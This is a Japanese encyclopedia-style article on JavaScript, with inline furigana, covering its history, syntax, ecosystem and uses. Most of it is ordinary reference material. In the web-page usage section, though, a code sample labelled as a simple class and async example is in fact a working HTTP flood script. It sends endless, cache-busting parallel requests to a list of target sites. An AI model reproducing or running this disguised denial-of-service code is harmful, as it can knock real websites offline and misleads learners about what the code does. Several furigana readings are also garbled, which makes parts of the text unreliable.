JavaScript

JavaScript（ジャバスクリプト）は、プログラミング言語げんごであり、HyperText Markup Language（HTML）やCascading Style Sheets（CSS）と並ならぶ　World Wide Web（WWW）の中核ちゅうかく技術ぎじゅつの一ひとつである。

JavaScript

logo.jsによるJavaScriptの非公式ひこうしきロゴ
パラダイム	マルチパラダイム
登場とうじょう時期じき	1995年ねん (1995)
設計せっけい者しゃ	ブレンダン・アイク
開発かいはつ者しゃ	ネットスケープコミュニケーションズ、Mozilla Foundation
最新さいしんリリース	ECMAScript 2023 / 2023年ねん6月がつ
評価ひょうか版ばんリリース	ECMAScript 2025  / 2024年ねん3月がつ27日にち
型付かたつけ	ダック・タイピング
主おもな処理しょり系けい	JavaScriptCore、KJS、Nitro、Rhino、SpiderMonkey、V8ほか
方言ほうげん	JScript
影響えいきょうを受うけた言語げんご	Scheme、Self、Java、Lua、Perl、AWK、HyperTalk、Python
影響えいきょうを与あたえた言語げんご	Dart、Objective-J、Google Apps Script、TypeScript
プラットフォーム	クロスプラットフォーム
ウェブサイト	www.ecma-international.org/publications-and-standards/standards/ecma-262/
拡張子かくちょうし	.js、.cjs、.mjs

HTML中なかのJavaScript。scriptタグで囲かこまれている。

プロトタイプベースのオブジェクト指向しこうスクリプト言語げんごであるが、クラスなどのクラスベースに見みられる機能きのうも取とり込こんでいる。

利用りようされる場面ばめんはウェブサイト、ウェブアプリケーション、バックエンド、デスクトップアプリケーション、モバイルアプリケーションなど、ウェブブラウザからサーバ、デスクトップからスマートフォンまで多岐たきにわたっている。

Javaと似にた名称めいしょうを持もつが、異ことなるプログラミング言語げんごである（#歴史れきしを参照さんしょう）。

概要がいよう

JavaScriptはWebブラウザNetscape Navigatorに起源きげんを持もち、現在げんざいでは様々さまざまな用途ようとに利用りようされるプログラミング言語げんごである。

JavaScriptの言語げんご仕様しようはECMAScriptとして標準ひょうじゅん化かされ、実装じっそうは各種かくしゅのJavaScriptエンジンによって提供ていきょうされている。JavaScriptエンジンの例れいとしてChromium系けいブラウザのV8、Mozilla FirefoxのSpiderMonkey、SafariのJavaScriptCoreが挙あげられる。

言語げんご仕様しようを定義ていぎするECMAScriptのほかに、WebブラウザへアクセスするためのAPI仕様しようにDOMなどがある。これらはECMAScriptから独立どくりつしており、JavaScriptからも独立どくりつした概念がいねんである。

プログラミング言語げんごとしての特徴とくちょう

JavaScriptは以下いかのような様々さまざまなスタイルのプログラミングが可能かのうである。

• if・forなどの制御せいぎょ構造こうぞうによる手続てつづき型がたプログラミングスタイル
• .prototype・classなどのオブジェクトによるオブジェクト指向しこうプログラミングスタイル
• map・高階たかしな関数かんすうなどの関数かんすう操作そうさによる関数かんすう型がたプログラミングスタイル

これらを可能かのうにしているプログラミング言語げんごとしての特徴とくちょうに、以下いかのことが挙あげられる。オブジェクト指向しこうの面めんでは、JavaScriptのオブジェクトはクラスベースではなくプロトタイプベースである。関数かんすう型がたの面めんでは、第だい一いち級きゅう関数かんすうをサポートし関数かんすうを第だい一いち級きゅうオブジェクトとして扱あつかえる。

AptanaやEclipse, NetBeans, IntelliJ IDEAなどの統合とうごう開発かいはつ環境かんきょうはJavaScriptをサポートしており、大だい規模きぼ開発かいはつが可能かのうになっている。さらにExt JSなどの本格ほんかく的てきなGUIライブラリの登場とうじょうにより、デスクトップアプリケーションと遜色そんしょくないユーザインタフェースの構築こうちくが可能かのうになった。

並行へいこう処理しょり

JavaScriptではしばしば、ネットワークを介かいしたリクエストのような "待まち" がある処理しょりを行おこなう。これに対処たいしょするために非同期ひどうき処理しょりをサポートし並行へいこう処理しょりが可能かのうとなる。標準ひょうじゅんで用意よういされている処理しょり機能きのうにも非同期ひどうき処理しょりされるものがある。

非同期ひどうき処理しょりを記述きじゅつする方法ほうほうとしてコールバック関数かんすうがある。JavaScriptはコールバック関数かんすう記法きほうをラップするPromise、Promiseを同期どうき的てきなコードのように記述きじゅつできるAsync/await構文こうぶんをもつ。

またJavaScriptは並列へいれつ処理しょりによる並行へいこう処理しょりもサポートしている（下記かき参照さんしょう）。

並列へいれつ処理しょり

JavaScriptでは複数ふくすうスレッドを用もちいた並列へいれつ処理しょりが可能かのうである。共有きょうゆうメモリ上じょうのバッファを表現ひょうげんするSharedArrayBuffer、バッファ操作そうさオブジェクトAtomicsが定義ていぎされている。スレッドそのものの仕様しようは環境かんきょうごとに異ことなる（ECMAScriptでは定義ていぎされていない）。ブラウザの場合ばあいはWorker、Node.jsの場合ばあいはworker_threadsで定義ていぎされている。ただこの2環境かんきょうではほぼ共通きょうつうの仕組しくみとなっており、例たとえばpostMessageによるメッセージングが両者りょうしゃでサポートされている。

歴史れきし

誕生たんじょう

JavaScriptはネットスケープコミュニケーションズのブレンダン・アイクによって、1995年ねん5月がつに10日とおか間あいだで開発かいはつされた。上司じょうしからの指示しじに「Javaのような外観がいかんにしてくれ」「初心者しょしんしゃに優やさしく」「Netscapeブラウザのほとんどなんでも制御せいぎょできるように」との注文ちゅうもんがあった。Netscape Navigator 2.0で実装じっそうされた。

開発かいはつ当初とうしょはLiveScriptと呼よばれていたが、1995年ねんにサン・マイクロシステムズ（現げん・オラクル）が開発かいはつしたプログラミング言語げんごJavaが当時とうじ大おおきな注目ちゅうもくを浴あびており、ネットスケープとサン・マイクロシステムズが業務ぎょうむ提携ていけいしていた事こともあったため、JavaScriptという名前なまえに変更へんこうされた。最初さいしょのJavaScriptエンジンはブレンダン・アイクによりNetscape Navigatorのために作成さくせいされたものであった。このエンジンはSpiderMonkeyと呼よばれており、C言語げんごで実装じっそうされていた。また、全すべてJavaで記述きじゅつされたJavaScriptエンジンであるRhinoも同おなじくNetscapeのNorris Boyd（後のちにGoogleに移籍いせき）らにより作成さくせいされた。

1996年ねんにマイクロソフトのInternet Explorer 3.0にJScriptという名前なまえで搭載とうさいされるようになると、その手軽てがるさからJavaScriptは急速きゅうそくに普及ふきゅうしていく。1997年ねん、通信つうしんに関かんする標準ひょうじゅんを策定さくていする国際こくさい団体だんたいEcmaインターナショナルによってJavaScriptの中核ちゅうかく的てきな仕様しようがECMAScriptとして標準ひょうじゅん化かされ、多おおくのウェブブラウザで利用りようできるようになった。

ネットスケープは、ウェブアプリケーション開発かいはつ言語げんごとして自社じしゃのサーバ製品せいひんに実装じっそうしたLiveWire JavaScriptも発表はっぴょうしたが、こちらはあまり普及ふきゅうしなかった。

JavaScriptの登場とうじょう初期しょきは、ブラウザベンダー間あいだで言語げんご仕様しようの独自どくじ拡張かくちょうが行おこなわれていたため、ブラウザ間あいだの互換ごかん性せいが極きわめて低ひくかった。ECMAScriptの策定さくてい以降いこうは実装じっそう間あいだの互換ごかん性せいは向上こうじょうし、DOMなど関連かんれん仕様しようの実装じっそうに関かんする互換ごかん性せいも高たかくなっていった。

かつてはJavaScriptという言葉ことばが「ECMAScript標準ひょうじゅん」を指さす、あるいは「独自どくじ実装じっそうを含ふくんだ広義こうぎのJavaScript」を指さし幅広はばひろい意味いみで使つかわれていた。ゆえにどちらの意味いみでJavaScriptという言葉ことばが使つかわれているかは文脈ぶんみゃくで判断はんだんする必要ひつようがあった。たとえばかつてマイクロソフトによる実装じっそうはJScriptと呼よばれたが、JScriptをJavaScriptと呼よぶような場面ばめんがあった。

ECMAScriptは仕様しよう自体じたいに独自どくじの拡張かくちょうを条件じょうけん付つきで認みとめる記述きじゅつがあり、ブラウザが実装じっそうしているスクリプト言語げんごはすべてECMAScriptに準拠じゅんきょしていることになる。広義こうぎの意味いみでこれをJavaScriptと呼よぶ場合ばあい、主要しゅようなブラウザが実装じっそうしているスクリプト言語げんごはマイクロソフトやGoogle、Appleの実装じっそうも含ふくめてJavaScriptである。

実装じっそう間あいだでの差異さいを吸収きゅうしゅうするためにPrototype JavaScript Frameworkなどのライブラリが用もちいられた。

発展はってん

市場いちばのブラウザ間あいだ互換ごかん性せいがある程度ていど確立かくりつされた2000年ねんごろには、GoogleやAmazonなどのGAFAMもJavaScriptを積極せっきょく的てきに利用りようし始はじめた。

また、JavaScriptはウェブブラウザの拡張かくちょう機能きのうを開発かいはつするための言語げんごとしても使つかわれるようになった。当初とうしょは拡張かくちょう機能きのう用ようのAPIが統一とういつされていなかったが、互換ごかん性せいを高たかめようとする動うごきがある。

当初とうしょはインタプリタ方式ほうしきで実行じっこうされることが一般いっぱん的てきであったためJavaScriptの実行じっこう速度そくどはさほど速はやくなかったが、現在げんざいではJITコンパイルなどを利用りようした各種かくしゅの最適さいてき化かがなされており、各かくウェブブラウザのベンダーともに高速こうそく化かを図はかってしのぎを削けずっている。さらには、この高速こうそく化かを受うける形かたちで、Node.jsのようにサーバサイドでもJavaScriptを使つかう動うごきが見みられるようになった。

JavaScript 2.0

次世代じせだいのJavaScriptとして、"JavaScript 2.0" を作つくろうとした動うごきは2度どあったが、いずれもまとまらなかった。

1度目どめはECMAScript 3が完成かんせいしたのち2000年ねんから2003年ねんにかけて発生はっせいしたが、ネットスケープとマイクロソフトの対立たいりつでまとまらなかった。当時とうじネットスケープが提案ていあんしていた案あんはアドビのActionScript 2.0に引ひき継つがれ、マイクロソフトの案あんはJScript .NETへと引ひき継つがれた。

その後ごもネットスケープ及およびMozilla FoundationはECMAScriptの策定さくていに並行へいこうしてJavaScriptを拡張かくちょうし、JavaScript 1.x系列けいれつとしてバージョンアップを繰くり返かえしていた。ECMAScript側がわではECMAScript 4の策定さくていが1999年ねん以降いこう進すすめられており、2006年ねんの時点じてんでMozilla Foundationはこれに基もとづいてJavaScript 2.0を作成さくせいすることを表明ひょうめいしていた。MozillaはECMAScript 4の策定さくていにあたって、Pythonの文法ぶんぽうを一部いちぶ取とり込こんだ案あんを提案ていあんしており、自身じしんでもこれを実装じっそうしていた。

しかしその後ご、ECMAScriptの標準ひょうじゅん化か作業さぎょうがMozilla, Adobe, Opera, Googleらが推おす ECMAScript 4 と、Microsoft, Yahoo! らが推おす ECMAScript 3.1 に事実じじつ上じょう分裂ぶんれつしてしまった影響えいきょうから、2008年ねん8月がつに大おおきな方針ほうしん転換てんかんがあり、ECMAScript 4は破棄はきされ後者こうしゃがECMAScript 5として2009年ねんに標準ひょうじゅん化かされた。ECMAScript 4に入はいる予定よていだった機能きのうは新あらたに発足ほっそくした「ECMAScript Harmony」に先送さきおくりとなった。これは後のちにECMAScript 2015として標準ひょうじゅん化かが完了かんりょうした。

なお、ECMAScript 5が標準ひょうじゅん化かされて以降いこう、MozillaのJavaScript実装じっそうはECMAScriptへの準拠じゅんきょを謳うたうようになった。そしてバージョン番号ばんごうでの呼称こしょうは行おこなわれなくなり、JavaScript 2.0は事実じじつ上じょう死語しごとなった。

文法ぶんぽう

詳細しょうさいは「JavaScriptの文法ぶんぽう 」を参照さんしょう

基本きほん的てきな文法ぶんぽう

JavaScriptの変数へんすうは var, letおよびconst キーワードを使用しようして宣言せんげんできる。

let x; // 変数へんすうxの宣言せんげん。値ねが未み指定していのため、特殊とくしゅな値ねである undefined が入はいった状態じょうたいとなる。
let y = 2; // 変数へんすうyの宣言せんげん。同時どうじに 2 が代入だいにゅうされる。
const z = 5; // 定数ていすうzの宣言せんげん。同時どうじに 5 が代入だいにゅうされる。定数ていすうであるため、書かき換かえることはできない。

上記じょうき例れいのスラッシュ2文字もじ以降いこうはコメントである。

JavaScriptは言語げんご仕様しようにI/Oが組くみ込こまれておらず、それらは実行じっこう環境かんきょうにより提供ていきょうされる。ECMAScript 5.1の仕様しようでは以下いかのように言及げんきゅうされている。

この仕様しようの中なかでは外部がいぶデータの入力にゅうりょくまたは計算けいさん結果けっかの出力しゅつりょくは供給きょうきゅうしない。
(… indeed, there are no provisions in this specification for input of external data or output of computed results.)

しかし、ほとんどの実行じっこう環境かんきょうはConsole Standardで規定きていされている console オブジェクトを持もっており、そこにコンソール出力しゅつりょくを行おこなえる。以下いかに最小さいしょうのHello worldプログラムを示しめす。

console.log("Hello World!");

再帰さいき関数かんすうは以下いかのように書かける。

function factorial(n) {
    if (n == 0) {
        return 1;
    }
    return n * factorial(n - 1);
}

無名むめい関数かんすう（またはラムダ式しき）の構文こうぶんとクロージャの例れいは以下いかである。

// ECMAScript 5以前いぜんの記法きほう
var displayClosure = function() {
    let count = 0;
    // ECMAScript 2015以降いこうで可能かのうな記法きほう
    return ()=> {
        return ++count;
    };
}
var inc = displayClosure();
inc(); // 1 が返かえる
inc(); // 2 が返かえる
inc(); // 3 が返かえる

可変長かへんちょう引数ひきすうは以下いかのように記述きじゅつする。

var sum = function(...args) {
    let x = 0;
    for (const v of args) {
        x += v;
    }
    return x;
}
sum(1, 2, 3); // 6 が返かえる

即時そくじ実行じっこう関数かんすう式しき (IIFE) の例れい。関数かんすうを用もちいることで変数へんすうをクロージャに閉とじ込こめることができる。

var v;
v = 1;
var getValue = (function(v) {
  return function() {return v;};
})(v);

v = 2;

getValue(); // 1 が返かえる

複雑ふくざつな例れい

以下いかのサンプルコードは、様々さまざまなJavaScriptの機能きのうを示しめしたものである。

"use strict"; // strictモードの宣言せんげん
/* 2つの数値すうちの最小公倍数さいしょうこうばいすうを求もとめる */
function LCMCalculator(x, y) { // コンストラクタ関数かんすう
    const checkInt = (x)=> { // 入いれ子この関数かんすう
        if (x % 1 !== 0) {
            throw new TypeError(x + " is not an integer"); // 例外れいがいのスロー
        }
        return x;
    };
    //   行末ゆくすえのセミコロンは省略しょうりゃく可能かのうな場合ばあいがあるが、省略しょうりゃくは推奨すいしょうされない。
    this.a = checkInt(x)
    this.b = checkInt(y);
}
// オブジェクトのプロトタイプはコンストラクタ関数かんすうの prototype プロパティに格納かくのうする
LCMCalculator.prototype = { // オブジェクトリテラル
    constructor: LCMCalculator, // このようにプロトタイプを上書うわがきする場合ばあいは、
                                // constructorプロパティにコンストラクタ関数かんすう名めいを再さい指定していする
    gcd: function () { // 最大公約数さいだいこうやくすうを計算けいさんするメソッド
        // 「ユークリッドの互除法ほう」アルゴリズムで計算けいさん
        let a = Math.abs(this.a), b = Math.abs(this.b);
        if (a < b) {
            // 変数へんすうの入いれ替かえ
            const t = b;
            b = a;
            a = t;
        }
        while (b !== 0) {
            const t = b;
            b = a % b;
            a = t;
        }
        // 最大公約数さいだいこうやくすうの計算けいさんは一いち度どでよいため、自分じぶん自身じしんを計算けいさん済ずみの結果けっかを返かえすメソッドで再さい定義ていぎ（上書うわがき）する。
        // （これにより LCMCalculator.prototype.gcd の代かわりに this.gcd が呼よばれるようになる。
        //   ただし、計算けいさん後ごにプロパティ a や b が変更へんこうされてしまうと、結果けっかは誤あやまりとなる。）
        // なお 'gcd' === "gcd", this['gcd'] === this.gcd である。
        this['gcd'] = function () {
            return a;
        };
        return a;
    },
    lcm : function () { // 最小公倍数さいしょうこうばいすうを計算けいさんするメソッド
        // 変数へんすう名めいは、オブジェクトのプロパティと衝突しょうとつしない。例れい）lcm は this.lcm とは異ことなる。
        // 以下いかでは、浮動ふどう小数しょうすうの精度せいどの問題もんだいを避さけるために this.a * this.b としていない。
        const lcm = this.a/this.gcd()*this.b;
        // 最小公倍数さいしょうこうばいすうの計算けいさんも一いち度どでよいため、自分じぶん自身じしんを計算けいさん済ずみの結果けっかを返かえすメソッドで再さい定義ていぎ（上書うわがき）する。
        this.lcm = function () {
            return lcm;
        };
        return lcm;
    },
    toString: function () { // toStringはオブジェクトを文字もじ列れつに変換へんかんするときに呼よばれるメソッド。
        // テンプレート文字もじ列れつにより文字もじ列れつ中ちゅうに値ねを埋うめ込こむことができる。
        return `LCMCalculator: a = ${this.a}, b = ${this.b}`;
    }
};

// 汎用はんようの出力しゅつりょく関数かんすうの定義ていぎ。この実装じっそうはWebブラウザ上じょうでのみ動作どうさする。
function output(x) {
    document.body.appendChild(document.createTextNode(x));
    document.body.appendChild(document.createElement('br'));
}

// 無名むめい関数かんすうはさまざまな書かき方かたが可能かのう
[[25, 55], [21, 56], [22, 58], [28, 56]].map(([a, b])=> new LCMCalculator(a, b)) // 配列はいれつリテラル + マッピング関数かんすう
.sort((a, b)=> a.lcm() - b.lcm()) // 指定していした比較ひかく関数かんすうを用もちいたソート
.forEach(obj=> {
    output(obj + ", gcd = " + obj.gcd() + ", lcm = " + obj.lcm());
});

上記じょうきコードをウェブブラウザ上じょうで実行じっこうすると、以下いかの結果けっかが表示ひょうじされる。

LCMCalculator: a = 28, b = 56, gcd = 28, lcm = 56
LCMCalculator: a = 21, b = 56, gcd = 7, lcm = 168
LCMCalculator: a = 25, b = 55, gcd = 5, lcm = 275
LCMCalculator: a = 22, b = 58, gcd = 2, lcm = 638

機能きのう

グローバルオブジェクト

JavaScriptはコードの最上階さいじょうかい層そうに属ぞくするグローバルオブジェクトを提供ていきょうしている。JavaScriptにおけるグローバルオブジェクトはglobalThisである。

エコシステム

実行じっこう環境かんきょうAPI

それぞれのJavaScript実行じっこう環境かんきょうにおいて様々さまざまなAPIが存在そんざいしており、JavaScriptからそれらを呼よび出だすことができる。

Webブラウザ

HTML要素ようそをJavaScriptから操作そうさするためのDOM API（例れい: document.querySelector）、HTTPリクエストを送信そうしんするFetch API、マルチスレッドを可能かのうにするWorkerなどが定義ていぎされている。これらは言語げんご仕様しようであるECMAScriptからは独立どくりつした各々おのおのの仕様しよう書しょでAPIが定義ていぎされ、ブラウザ実装じっそうがJavaScriptバインディングを提供ていきょうすることでJavaScriptからの呼よび出だしが可能かのうになっている。

Node.js

ファイルシステムにアクセスするためのfs API（モジュール）や実行じっこうプロセスと相互そうご作用さようするprocess APIなどが定義ていぎされている。Webブラウザがもつ強つよいサンドボックス要件ようけんが緩和かんわされている点てんがNode.js APIの特徴とくちょうの1つである。

altJS

alternative JavaScript (altJS) はJavaScriptへトランスパイルされるプログラミング言語げんごの総称そうしょうである。

JavaScriptへ新あらたな機能きのうを追加ついかする方法ほうほうの1つに、新あたらしい言語げんごを定義ていぎしそのコードをJavaScriptへ変換へんかんする方法ほうほうがある。そのようなJavaScriptへトランスパイルされる言語げんごはaltJSと総称そうしょうされる。altJSの例れいとしてCoffeeScriptやTypeScript、PureScriptが挙あげられる。altJSを用もちいることで、新あらたな演算えんざん子こや記法きほうを導入どうにゅうし効率こうりつの良よいJavaScript開発かいはつを行おこなうことができる。素もとのJavaScriptはaltJSと対比たいひしてVanilla JSとしばしば呼よばれる。

例たとえばTypeScriptは型かたの導入どうにゅうを可能かのうにする。JavaScriptは動的どうてき型付かたつけである。静的せいてきコード解析かいせきでJavaScriptコードへの型かた検査けんさは実行じっこう可能かのうだが、コード上じょうに型かた表記ひょうきをおこなうことはできない。altJSの1つであるTypeScriptはJavaScriptへ型かたノーテーションを導入どうにゅうしトランスパイル時じに型かた検査けんさをおこなうことで、型かたをもったJavaScriptを実現じつげんしている。

パッケージ管理かんり

JavaScriptエコシステムには多様たようなライブラリ（パッケージ）が存在そんざいする。パッケージの導入どうにゅう・バージョン調整ちょうせい・廃棄はいきを担になう管理かんりソフトウェアとしてnpmやyarnがある。

利用りよう

WebブラウザにおけるHTML操作そうさを目的もくてきとして作つくられたJavaScriptは、2020年ねん現在げんざい幅広はばひろい領域りょういきで利用りようされている。

• ウェブページ・ウェブサイト・ウェブアプリケーション（ブラウザクライアント上じょうでの動作どうさ）
• ウェブバックエンドサーバ (Node.js)
• デスクトップアプリケーション（例れい: Electron (ソフトウェア)）
• モバイルアプリケーション (例れい: React Native)

Webページでの利用りよう

「ダイナミックHTML」、「Ajax」、および「Document Object Model」も参照さんしょう

JavaScriptの最もっとも歴史れきしの長ながい使用しよう法ほうはHTMLページにクライアント側がわのふるまいを持もたせることである。これは当初とうしょはダイナミックHTML (DHTML) として知しられていた。JavaScriptはHTMLに直接ちょくせつ埋うめ込こまれまたは別べつのファイルからインクルードされ、Webブラウザ上じょうのJavaScript実行じっこう環境かんきょうで動作どうさする。Webブラウザは通常つうじょう、Document Object Model (DOM) を扱あつかうためのホストオブジェクトを提供ていきょうする。

JavaScriptの使用しよう例れいとしては、以下いかのようなものがある。

• ページの再さい読よみ込こみなしで新あたらしいコンテンツを読よみ込こむまたはサーバに投稿とうこうする（Ajax。例たとえば、SNSでページを離はなれることなく新あたらしい投稿とうこうを表示ひょうじすることができる）。
• ゲームなどの動的どうてきなコンテンツを提供ていきょうする。
• データをサーバーに送信そうしんせずにフォーム入力にゅうりょく値ちの検証けんしょうを行おこなう。
• アクセス解析かいせきや広告こうこく追跡ついせき、パーソナライゼーションなどのためにユーザーの閲覧えつらん情報じょうほうを収集しゅうしゅうする。

JavaScriptはユーザーのブラウザ上じょうで動作どうさできることから、ユーザーの操作そうさに対たいして素早すばやく反応はんのうすることができ、アプリケーションをよりレスポンシブにすることができる。さらにJavaScriptはHTML単独たんどくでは対応たいおうできない操作そうさ、例たとえばキー入力にゅうりょくなどにも応答おうとうすることができる。Gmailのようなアプリケーションでは、JavaScriptでUIロジックを実装じっそうし、さらにJavaScriptでサーバから情報じょうほう（例たとえばeメールのメッセージ）を取得しゅとくすることで、こうしたメリットを享受きょうじゅしている。このような利点りてんからAjaxは大おおきなトレンドとなった。

様々さまざまな言語げんごやフレームワークをウェブブラウザ上じょうで動作どうささせるために、JavaScriptはそれらのコンパイル先さき出力しゅつりょく言語げんごとなっている（例れい: TypeScript）。

例れい

以下いかはJavaScriptとDOMを含ふくむWebページのごく単純たんじゅんな例れいである。

<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="utf-8" />
    <title>単純たんじゅんな例れい</title>
  </head>
  <body>
    <h1 id="header">これはJavaScriptです</h1>
    <script>
      document.body.appendChild(document.createTextNode('Hello World!'));

      let h1 = document.querySelector('#header'); // id='header'の<h1>要素ようその参照さんしょうを取得しゅとく。
      h1 = document.querySelectorAll('h1')[0]; //または<h1>要素ようそを全すべて取得しゅとくしてそこから先頭せんとうを取得しゅとく。
    </script>
    <noscript>お使つかいのブラウザはJavaScriptをサポートしていないか、無効むこうになっています。</noscript>
  </body>
</html>

登場とうじょう当初とうしょは、htmlの補助ほじょ的てきなスクリプトとして、クラスや非同期ひどうき処理しょりなどの処理しょりが貧弱ひんじゃくであったが、近年きんねんのWebアプリケーションの浸透しんとうに伴ともない、様々さまざまな機能きのうが拡張かくちょうされた。 現在げんざいでは、クラスの作成さくせいや非同期ひどうき処理しょりなど、C#やJavaでなければ実装じっそうできなかったものも手軽てがるに実装じっそうできるようになっている。以下いかはクラスや非同期ひどうき処理しょりのごく単純たんじゅんな実装じっそう例れいである。

// クラス名めい
class Cyber_Crusade {

  // コンストラクタ
  constructor(limit) {
    // 1秒びょうごとの送信そうしん頻度ひんどを設定せってい
    this.CONCURRENCY_LIMIT = limit;
    // 非同期ひどうき関数かんすうを定義ていぎ
    this.fetchWithTimeout = this.fetchWithTimeout.bind(this);   // リクエスト送信そうしん。
    this.punish_heterodoxy = this.punish_heterodoxy.bind(this); // 各かくサイトにデータリクエストを送おくる。
  }

  // 対象たいしょうのサイトを指定してい
  heresy_sites = {
       'https://example.com/': { number_of_requests: 0, number_of_errored_responses: 0 },   
       'https://www.example.com/': { number_of_requests: 0, number_of_errored_responses: 0 },  
  };

  // 1秒びょうごとの送信そうしん頻度ひんど
  CONCURRENCY_LIMIT = 1000;
  queue = [];

  // リクエスト送信そうしん
  async fetchWithTimeout(resource, options) {
    // コントローラーを取得しゅとく
    const controller = new AbortController();
    // IDを取得しゅとく
    const id = setTimeout(() => controller.abort(), options.timeout);
    // リクエスト処理しょりを返かえす。
    return fetch(resource, {
      method: 'GET',              // GET方式ほうしき
      mode: 'no-cors',            // CORS-safelisted methodsとCORS-safelisted request-headersだけを使つかったリクエストを送おくる。
      signal: controller.signal   // オブジェクトのインスタンスを返かえし
    }).then((response) => {       // 成功せいこうした場合ばあい
      clearTimeout(id);			  // タイムアウトを消けす。
      return response;			  // 応答おうとう結果けっかを返かえす。
    }).catch((error) => {		  // 失敗しっぱいした場合ばあい
      console.log(error.code);    // エラーコードを出力しゅつりょく
      clearTimeout(id);			  // タイムアウトを消けす。
      throw error;				  // エラーを投なげる。
    });
  }

  // 各かくターゲットにデータ送信そうしんする。
  async punish_heterodoxy(target) {
    //for文ぶんを使つかった無限むげんループ
    for (var i = 0;; ++i) {
      // リクエストの数かずが規定きてい数すうになったら
      if (this.queue.length > this.CONCURRENCY_LIMIT) {
        // 最初さいしょのリクエストを削除さくじょする。
        await this.queue.shift()
      }
      // 乱数らんすうを生成せいせい
      var rand = i % 3 === 0 ? '' : ('?' + Math.random() * 2000)
      // 送信そうしんリクエストを追加ついかする。
      this.queue.push(
        // 関数かんすうを実行じっこうする(時間じかん制限せいげん：1秒びょう)
        this.fetchWithTimeout(target+rand, { timeout: 1000 })
          // エラーがある場合ばあいはエラーを取得しゅとくする。
          .catch((error) => {
            if (error.code === 20 /* ABORT */) {
              return;
            }
            this.heresy_sites[target].number_of_errored_responses++;
          })
          // 処理しょり後ごの処理しょりをする。
          .then((response) => {
            // エラーがある場合ばあいはエラー処理しょりを入いれる。
            if (response && !response.ok) {
              this.heresy_sites[target].number_of_errored_responses++;
            }
            // リクエスト数すうを追加ついかする。
            this.heresy_sites[target].number_of_requests++;
          })
      )
    }
  }       
  // 実行じっこう関数かんすう
  inquisitio(){
   // 全すべてのターゲット要素ようそに対たいしてデータ送信そうしん処理しょりを実行じっこうする。
   Object.keys(this.heresy_sites).map(this.punish_heterodoxy);
  }
}

// オブジェクト呼よび出だし
var cyber_crusade = new Cyber_Crusade(500);
// 実行じっこう
cyber_crusade.inquisitio();

その他たの環境かんきょうでの利用りよう

ウェブブラウザ以外いがいのJavaScript実行じっこう環境かんきょうも存在そんざいする（サーバーサイドJavaScript実装じっそうの一覧いちらんを参照さんしょう）。データベースやWebサーバに組くみ込こまれ、それらのAPIやHTTPリクエストやレスポンスのアクセスが提供ていきょうされているものもある。

また、Node.jsのようにOSの機能きのう（ネットワークやファイルシステムなど）にアクセスできる環境かんきょうも存在そんざいする。加くわえてElectronなどのアプリケーションフレームワークの登場とうじょうにより、Atomなどのアプリケーションが広ひろまりつつある。

いくつかのアプリケーションではマクロ言語げんごとしても採用さいようされている。例たとえばAdobe Acrobatは、JavaScriptによるマクロ機能きのうを搭載とうさいしている。

バージョンとブラウザの対応たいおう表ひょう

「ECMAScript#バージョン」も参照さんしょう

バージョン	日付ひづけ	規格きかく	Netscape Navigator	Mozilla Firefox	Internet Explorer	Opera	Safari
1.0	1996年ねん3月がつ		2.0		3.0
1.1	1996年ねん8月がつ		3.0
1.2	1997年ねん7月がつ		4.0-4.05
1.3	1998年ねん10月がつ	ECMA-262 1st edition / ECMA-262 2nd edition	4.06-4.7x		4.0	5.0
1.4			Netscape Server			6.0
1.5	2000年ねん11月	ECMA-262 3rd edition	6.0	1.0	5.5 (JScript 5.5), 6.0 (JScript 5.6), 7.0 (JScript 5.7), 8.0 (JScript 6.0)
1.6	2005年ねん11月	1.5 + Array extras + Array and String generics + E4X	7.0-8.0	1.5		7.0-9.0	3.0, 3.1
1.7	2006年ねん10月がつ	1.6 + Pythonic generators + Iterators + let		2.0			3.2-5.1
1.8	2008年ねん7月がつ	1.7 + Generator expressions + Expression closures		3.0
1.8.1		1.8 + Minor Updates		3.5
1.9		1.8.1 + ECMAScript 5 Compliance		4.0-11.0

ライブラリ

代表だいひょう的てきなJavaScriptライブラリは以下いかのとおり。

• AngularJS
• Backbone.js
• Dojo Toolkit
• Express.js
• Ext JS
• Google Web Toolkit (GWT)
• Impact
• jQuery
• MochiKit
• MooTools
• Prototype JavaScript Framework (prototype.js)
• QUnit
• Yahoo!ユーザーインターフェイスライブラリ
• WinJS
• React
• Vue.js

脚注きゃくちゅう

関連かんれん項目こうもく

• JSON（JavaScript Object Notation）- JavaScriptにおけるオブジェクトの記法きほうをベースとした軽量けいりょうなデータ記述きじゅつ言語げんご。
• Category:JavaScriptを生成せいせいする言語げんごも参照さんしょう。

外部がいぶリンク

• 英語えいご
  • JavaScript - MDN
  • Standard ECMA-262
• 日本語にほんご
  • JavaScript - MDN
  • JavaScript講座こうざ - リズムファクトリー社しゃ
  • JScript - Microsoft